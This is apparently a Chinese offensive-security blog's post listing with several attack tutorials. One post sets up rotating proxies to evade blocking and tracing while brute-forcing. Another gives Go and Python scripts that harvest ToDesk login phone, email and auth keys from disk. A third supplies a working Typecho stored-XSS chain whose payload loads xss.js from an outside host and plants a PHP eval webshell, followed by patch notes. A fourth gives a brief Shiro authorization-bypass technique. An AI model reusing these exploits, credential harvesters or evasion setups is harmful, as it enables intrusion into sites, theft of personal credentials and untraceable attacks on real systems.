首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,537 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
9
篇与
的结果
2025-05-28
【攻防技术】Proxifier + Clash 轮询代理隐藏真实IP
简介在当前攻防对抗中,大多数目标单位均配有安全设备,如 WAF、IPS、防火墙等,渗透过程中常常出现 IP 被封现象。为了降低暴露风险,本篇以实战角度出发,结合 Clash 的轮询负载均衡与 Proxifier 联动,实现 IP 动态切换,最大程度隐藏真实身份,避免被溯源。负载均衡配置流程先到设置(Settings)里找到 Parsers 这个选项,点击编辑(Edit)。把以下配置填进去,然后进行保存。Clash 负载均衡配置parsers: - reg: 'Proxy$' yaml: append-proxy-groups: - name: ⚖️ 负载均衡-散列 type: load-balance url: 'http://www.google.com/generate_204' interval: 300 strategy: consistent-hashing - name: ⚖️ 负载均衡-轮询 type: load-balance url: 'http://www.google.com/generate_204' interval: 300 strategy: round-robin commands: - proxy-groups.⚖️ 负载均衡-散列.proxies=[]proxyNames - proxy-groups.0.proxies.0+⚖️ 负载均衡-散列 - proxy-groups.⚖️ 负载均衡-轮询.proxies=[]proxyNames - proxy-groups.0.proxies.0+⚖️ 负载均衡-轮询这段配置就干了两件事:新增两个 "负载均衡" 分组散列分组:用一致性哈希(consistent-hashing)把请求分给各节点轮询分组:用轮询(round-robin)依次分给各节点两个分组都会每 300 秒去 http://www.google.com/generate_204 测一次可用性。把现有的所有代理都加到这两个分组里,并且把这两个分组排到代理组列表的最前面。这样配置后,就可以在用代理 选 "负载均衡-散列" 或 "负载均衡-轮询" 来智能分发流量。然后到 Profiles 里设置下节点配置。在 URL 最后加上 #Proxy,即可触发 Clash 中对应的 Parsers 规则,添加完成后点击 OK 保存即可。再刷新下就会出现 负载均衡-散列 跟 负载均衡-轮询 选项,这里我先选着轮询配合以下 Proxifier 做演示。工具联动先配置下 Proxifier,找到 Proxy Servers。根据序号步骤操作添加 Clash 代理服务IP跟端口,协议设置socks5,配置好了就点 ok 保存。配置代理规则,填好了一路保存,这里我指定了 Tscan Plus 渗透测试工具,以下是测试。效果对比不用负载均衡可以发现在没有使用负载均衡的情况下,扫描服务器的IP始终保持同一个,而且流量多了很快就被发现封禁。使用负载均衡使用了负载均衡,扫描服务器的IP地址在实时发生变化。(不是扫一次暂停变化,而是一直扫,一直变)监听脚本import socket from datetime import datetime HOST = '0.0.0.0' PORT = 5201 def start_listener(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server: server.bind((HOST, PORT)) server.listen(5) print(f"[√] 正在监听 {HOST}:{PORT} ...") while True: conn, addr = server.accept() ip, port = addr now = datetime.now().strftime("%Y-%m-%d %H:%M:%S") print(f"[{now}] [+] 连接来自:{ip}:{port}") conn.close() if __name__ == "__main__": start_listener()总结轮询(Round-Robin)机制说明:请求按照顺序分配给不同代理节点。节点越多,切换越频繁。例如有 3 个代理,顺序为 1→2→3→1→2...渗透应用场景:目录扫描、接口 Fuzz、密码爆破等高频操作绕过单个 IP 的限频和封锁限制模拟大规模并发访问特点:每次请求更换 IP,具备较强的防封能力多节点可实现带宽叠加,提高打点效率会话状态无法保持,易导致登录状态丢失IP 波动频繁,容易被风控识别为异常行为常见用途:配合测速工具或并发爆破程序使用,可显著提升速度和效果。一致性哈希(Consistent Hashing)机制说明:使用哈希算法将请求绑定到特定代理节点,相同域名始终走同一个 IP。节点变化对大多数请求影响较小。渗透应用场景:需要维持登录态或会话的系统交互操作模拟真实用户行为,降低风控触发概率长时间稳定访问目标系统(如后台、管理系统)特点:请求稳定,适合登录类或认证类操作隐蔽性好,不容易被系统识别为异常用户IP 固定,无法绕过限速策略无法叠加带宽,打点效率低于轮询模式常见用途:适用于登录后台、提交表单、敏感数据抓取等操作。策略总结策略适用场景优点缺点轮询高频打点、爆破、探测IP 轮换快、防封、效率高会话不连续、易触发风控哈希登录、维稳、数据交互IP 稳定、隐蔽性好无法绕过限速、带宽不可叠加其它除了 Proxifier 配合 Clash 的轮询代理机制,以下是常见的隐藏真实 IP 手段,适用于不同攻防场景:移动网络切换通过开启/关闭飞行模式或重新启用手机流量,获取新的公网动态 IP,适用于移动端或笔记本热点环境。优点:快速低成本切换缺点:依赖运营商分配动态 IP,速度受限拔插网卡重拨在宽带环境中,通过禁用/启用网卡或拔插网线,触发重新拨号获取新 IP(前提是动态拨号)。优点:操作简单,适合家庭网络缺点:频繁切换可能无效,部分地区为固定 IP公网代理池使用公开或自建的高匿代理列表,通过程序自动轮询切换,适合大规模扫描和爆破任务。优点:适用于并发、分布式请求缺点:不稳定,部分代理已被目标封禁VPN / 云主机节点轮换租用多个 VPS 或使用支持节点切换的商业 VPN,实现按需更换出口 IP。优点:稳定高效,适合重度任务缺点:成本较高,配置复杂Tor / I2P 等匿名网络借助多层加密路由隐藏真实地址,适用于需要高度匿名的通信或探测行为。优点:匿名性强缺点:延迟高,无法满足高频请求需求云函数中转利用 Cloudflare Workers、腾讯云函数、Vercel 等平台搭建中转代理,将请求伪装为云服务出口流量。优点:隐蔽性强,易于绕过封禁缺点:平台限流,需一定配置经验
2025年05月28日
921 阅读
3 评论
52 点赞
2023-06-01
【信息溯源】Todesk | 向日葵信息溯源
简介在实际的攻防演练中,常常会出现追踪攻击来源并反制取证的情景,假设我们已经成功连上了目标主机,目标主机如果安装了Todesk,那么恭喜你可以通过查看Todesk目录下的 config.ini 文件来获取一些登录等相关信息。Todesk 配置文件downloadtimes 下载Todesk的时间updatePassTime 最近一次使用时间Version Todesk版本号clientid 客户端IDLoginPhone 手机号LoginEmail 邮箱账户只要登录过Todesk,它会把一些信息写入到根目录下的,config.ini配置文件中。这个跟版本没关系的,即使是最新版的Todesk,也会写到配置文件中,向日葵 配置文件向日葵,感兴趣的可以去看一下,里面也有一些信息。Go Todesk 第一版(默认路径)// main.go package main import ( "bufio" "fmt" "os" "strings" ) func main() { config_file := "C:/Program Files/ToDesk/config.ini" file, err := os.Open(config_file) if err != nil { fmt.Printf("Failed to read config file: %v\n", err) return } defer file.Close() config := make(map[string]string) scanner := bufio.NewScanner(file) for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if len(line) == 0 || strings.HasPrefix(line, ";") || strings.HasPrefix(line, "#") { continue } parts := strings.SplitN(line, "=", 2) if len(parts) != 2 { continue } key, value := strings.TrimSpace(parts[0]), strings.TrimSpace(parts[1]) config[key] = value } download_times := config["downloadtimes"] version := config["Version"] client_id := config["clientId"] temp_auth_pass_ex := config["tempAuthPassEx"] resolution := config["Resolution"] update_pass_time := config["updatePassTime"] private_data := config["PrivateData"] login_phone := config["LoginPhone"] login_email := config["LoginEmail"] fmt.Println("*********** 第一版 ***********") fmt.Printf("电子邮件账户:%s\n", login_email) fmt.Printf("手机号:%s\n", login_phone) fmt.Printf("下载时间:%s\n", download_times) fmt.Printf("最近一次使用ToDesk时间:%s\n", update_pass_time) fmt.Printf("当前屏幕尺寸:%s\n", resolution) fmt.Printf("Todesk版本号:%s\n", version) fmt.Printf("客户端ID:%s\n", client_id) fmt.Printf("私密数据:%s\n", private_data) fmt.Printf("临时认证密钥:%s\n", temp_auth_pass_ex) }你肯会说如果他没安装到默认路径怎么办呢?很简单以下是改进版自动查找路径。Go Todesk 第二版(自动搜索)// main.go package main import ( "bufio" "fmt" "os" "path/filepath" "strconv" "strings" ) const ( targetFilename = "config.ini" ) type ConfigInfo struct { DownloadTimes string Version string ClientID string TempAuthPass string Resolution string UpdatePassTime string PrivateData string LoginPhone string LoginEmail string } func visit(path string, info os.FileInfo, err error) error { if !info.IsDir() && info.Name() == targetFilename && strings.Contains(path, "ToDesk") { configFile, err := os.Open(path) if err != nil { fmt.Println(err) return nil } defer configFile.Close() configInfo := ConfigInfo{} scanner := bufio.NewScanner(configFile) for scanner.Scan() { line := scanner.Text() if strings.HasPrefix(line, ";") || strings.HasPrefix(line, "#") { continue } pair := strings.SplitN(line, "=", 2) if len(pair) != 2 { continue } key := strings.TrimSpace(pair[0]) value := strings.TrimSpace(pair[1]) switch key { case "downloadtimes": configInfo.DownloadTimes = value case "Version": configInfo.Version = value case "clientId": configInfo.ClientID = value case "tempAuthPassEx": configInfo.TempAuthPass = value case "Resolution": configInfo.Resolution = value case "updatePassTime": configInfo.UpdatePassTime = value case "PrivateData": configInfo.PrivateData = value case "LoginPhone": configInfo.LoginPhone = value case "LoginEmail": configInfo.LoginEmail = value default: } } fmt.Println("*********** 第一版 ***********") fmt.Printf("电子邮件账户:%s\n", configInfo.LoginEmail) fmt.Printf("手机号:%s\n", configInfo.LoginPhone) fmt.Printf("下载时间:%s\n", configInfo.DownloadTimes) fmt.Printf("最近一次使用ToDesk时间:%s\n", configInfo.UpdatePassTime) fmt.Printf("当前屏幕尺寸:%s\n", configInfo.Resolution) fmt.Printf("Todesk版本号:%s\n", configInfo.Version) fmt.Printf("客户端ID:%s\n", configInfo.ClientID) fmt.Printf("私密数据:%s\n", configInfo.PrivateData) fmt.Printf("临时认证密钥:%s\n", configInfo.TempAuthPass) os.Exit(0) } return nil } func isNumeric(s string) bool { _, err := strconv.ParseFloat(s, 64) return err == nil } func main() { driveLetters := []string{"C", "D", "E", "F", "G"} for _, driveLetter := range driveLetters { drivePath := fmt.Sprintf("%s:\\", driveLetter) err := filepath.Walk(drivePath, visit) if err != nil { fmt.Printf("访问 %s 目录时出错:%v\n", drivePath, err) } } }好啦,打包一下就能做一些骚操作了。(小声:自己发挥吧)Python 版本(自动搜索)import os import configparser target_filename = 'config.ini' target_strings = ['ToDesk'] drive_letters = ['C', 'D', 'E', 'F', 'G'] for drive_letter in drive_letters: drive_path = f"{drive_letter}:\\" for dirpath, dirnames, filenames in os.walk(drive_path): if target_filename in filenames and all(s in dirpath for s in target_strings): config_path = os.path.join(dirpath, target_filename) config = configparser.ConfigParser() config.read(config_path) download_times = config.get('ConfigInfo', 'downloadtimes') version = config.get('ConfigInfo', 'Version') client_id = config.get('ConfigInfo', 'clientId') temp_auth_pass = config.get('ConfigInfo', 'tempAuthPassEx') resolution = config.get('ConfigInfo', 'Resolution') update_pass_time = config.get('ConfigInfo', 'updatePassTime') private_data = config.get('ConfigInfo', 'PrivateData') login_phone = config.get('ConfigInfo', 'LoginPhone') login_email = config.get('ConfigInfo', 'LoginEmail') print(f"电子邮件账户:{login_email}") print(f"手机号:{login_phone}") print(f"下载时间:{download_times}") print(f"最近一次使用ToDesk时间:{update_pass_time}") print(f"当前屏幕尺寸:{resolution}") print(f"Todesk版本号:{version}") print(f"客户端ID:{client_id}") print(f"私密数据:{private_data}") print(f"临时认证密钥:{temp_auth_pass}") quit()运行效果
2023年06月01日
202 阅读
0 评论
14 点赞
2023-04-24
【攻防技术】Typecho存储型XSS写入WebShell
影响版本漏洞影响版本:Typecho <= 1.2.0漏洞复现https://bbskali.cn/"></a><script>alert(1)</script><a/href="#随便找一篇文章,在评论里插入 js 代码。可以发现访问,发现成功弹出来了,而且是插入到了数据库中,存储型的 XSS。访问后台查看评论,也会触发插入的代码,这个时候可以偷取管理员的 cookie,进行登录后台写入一句话木马。写入webshellhttps://bbskali.cn/"></a><script/src="http://192.168.1.14/xss.js"></script><a/href="#这里我直接利用 js 让管理员登录后台或点击后台评论自己写入webshell,src="http://192.168.1.14/xss.js" 修改成你的公网域名网址。构造exp// xss.js var times = 0; var g_shell = 0; function addIframe() { var iframe = document.createElement('iframe'); iframe.id = 'testxss'; iframe.style.width = '0%'; iframe.style.height = '0%'; iframe.onload = processIframe; iframe.src = 'http://127.0.0.1/admin/theme-editor.php?theme=default&file=404.php'; document.body.appendChild(iframe); } function processIframe() { if (times > 10) { return; } var iframeDocument = document.getElementById('testxss').contentWindow.document; var htmldata = iframeDocument.getElementById('content'); var btn = iframeDocument.getElementsByTagName('button'); if (htmldata && btn && btn.length > 1) { htmldata.innerText = '<?php eval($_POST["sh"]);'; btn[1].click(); times++; if (g_shell === 1) { sendRequest(); } } } function sendRequest() { var xhr = new XMLHttpRequest(); xhr.open('GET', '/usr/themes/default/404.php?shell=1'); xhr.send(); } addIframe();当管理员访问了后台评论,那么就会写入 webshell 。可以发现后台默认模板中的 404.php 已经写入了一句话木马,当然看情况网站用了什么主题,路径名称会不一样的自己改改就好。这个时候用蚁剑就可以进行连接了。修复方案更新到 1.2.0 以上的版本,官方已修复。手动修复// var/Widget/Base/Comments.php 第 271 行代码 echo '<a href="' . $this->url . '"' // 修改为以下代码 echo '<a href="' . Common::safeUrl($this->url) . '"' // var/Widget/Feedback.php 第 209 行代码 $comment['url'] = $this->request->filter('trim')->url; // 修改为以下代码 $comment['url'] = $this->request->filter('trim', 'url')->url; // var/Widget/Feedback.php 第 308 行代码 $trackback['url'] = $this->request->filter('trim')->url; // 修改为以下代码 $trackback['url'] = $this->request->filter('trim', 'url')->url; // var/Widget/Options.php 第 85 行代码 * @property bool $commentsRequireURL // 修改为以下代码 * @property bool $commentsRequireUrl // /var/Typecho/Validate.php 第 99 行代码 return filter_var($str, FILTER_VALIDATE_EMAIL) !== false; // 修改为以下代码 return (bool) preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);
2023年04月24日
96 阅读
0 评论
12 点赞
2023-04-02
【攻防技术】Apache Shiro权限绕过漏洞(CVE-2022-32532)
影响版本Apache Shiro < 1.9.1漏洞原理在 shiro-core-1.9.0.jar 库中,包含一个名为 RegExPatternMatcher 的类。该类用于正则表达式匹配,但其匹配机制在遇到含有.(点)的表达式时存在缺陷。具体来说,当匹配字符串中出现\n(换行符)或\r(回车符)时,RegExPatternMatcher类可能会产生错误的判断结果。正常访问 /permit/any 返回的数据包中是 access denied 禁止访问的。可以使用 %0a 进行越权绕过,也可添加 token:4ra1n 进行绕过。修复建议建议更新到最新安全版。
2023年04月02日
57 阅读
0 评论
4 点赞
2023-01-21
此内容被密码保护
加密文章,请前往内页查看详情
2023年01月21日
218 阅读
0 评论
13 点赞
2023-01-19
此内容被密码保护
加密文章,请前往内页查看详情
2023年01月19日
29 阅读
0 评论
3 点赞
2022-11-02
此内容被密码保护
加密文章,请前往内页查看详情
2022年11月02日
186 阅读
0 评论
11 点赞
2022-09-10
此内容被密码保护
加密文章,请前往内页查看详情
2022年09月10日
771 阅读
0 评论
62 点赞
2022-05-10
此内容被密码保护
加密文章,请前往内页查看详情
2022年05月10日
480 阅读
0 评论
48 点赞
0:00